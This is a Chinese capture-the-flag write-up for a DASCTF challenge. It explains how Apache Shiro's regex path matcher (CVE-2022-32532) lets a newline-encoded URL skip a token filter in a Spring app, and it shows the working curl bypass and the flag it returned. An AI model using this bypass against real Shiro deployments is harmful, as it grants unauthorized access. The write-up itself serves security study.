[2026dasctf]Easy_Bypass
用JADX反编译后找com.example之类
Easy_Bypass(WriteUp)
源码分析
1. DemoController —— 暴露接口
@RestController public class DemoController { @RequestMapping(path = {"/permit/{value}"}) public String permit(@PathVariable String value) { System.out.println("success!"); return "DASCTF{FAKE_FLAG}"; // 假 Flag,仅作占位 } }- 路由:
/permit/{value},其中{value}为路径变量。 - 返回字符串即为响应体(含 Flag 字段)。
2. MyFilter —— 自定义鉴权过滤器
public class MyFilter extends AccessControlFilter { public MyFilter() { this.pathMatcher = new RegExPatternMatcher(); // 关键:使用正则匹配器 } protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) { String token = ((HttpServletRequest) request).getHeader("Token"); return token != null && token.equals("FAKE_TOKEN"); } protected boolean onAccessDenied(ServletRequest request, ServletResponse response) { response.getWriter().println("access denied"); return false; } }- 要求请求头
Token: FAKE_TOKEN才能放行。 - 不满足则返回
access denied。
3. MyShiroFilterFactoryBean —— 过滤链配置
protected AbstractShiroFilter createInstance() { FilterChainManager manager = new DefaultFilterChainManager(); manager.addFilter("myFilter", new MyFilter()); manager.addToChain("/permit/.*", "myFilter"); // 关键正则 PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); chainResolver.setFilterChainManager(manager); chainResolver.setPathMatcher(new RegExPatternMatcher()); return new SpringShiroFilter(...); }- 将
/permit/.*这条正则链绑定到myFilter。 RegExPatternMatcher+.(点号)+ 未启用Pattern.DOTALL → 触发 CVE-2022-32532。
三、漏洞原理(CVE-2022-32532)
Apache Shiro < 1.9.1 在使用
RegExPatternMatcher时,Pattern.compile(pattern)默认未添加Pattern.DOTALL 标志,导致正则中的.不匹配换行符\n(\x0a)/\r(\x0d)。
攻击链路:
请求 URL: /permit/%0axxx ↓ URL 解码 实际路径: /permit/\nxxx| 组件 | 对路径的处理 | 结果 |
|---|---|---|
ShiroRegExPatternMatcher | 用/permit/.*匹配/permit/\nxxx,.不匹配\n | 正则匹配失败 → 该请求不匹配/permit/.*过滤链 →MyFilter不被执行 |
| Spring MVC 路由 | /permit/{value}正常解析路径变量{value}=%0axxx | 请求直接到达DemoController.permit() |
最终效果:绕过 Token 校验,直接调用 Controller 拿到真实 Flag。
┌──(root㉿QDLQSS)-[/mnt/c/Users/QSS/Downloads/28b64ef783f7fefbeb92ec7892fcfe7c/tempdir/PWN附件/Regular_apples] └─# curl -s "http://45.40.247.139:24414/permit/%0axxx" DASCTF{anEasy_CVE_Test}[ble: EOF]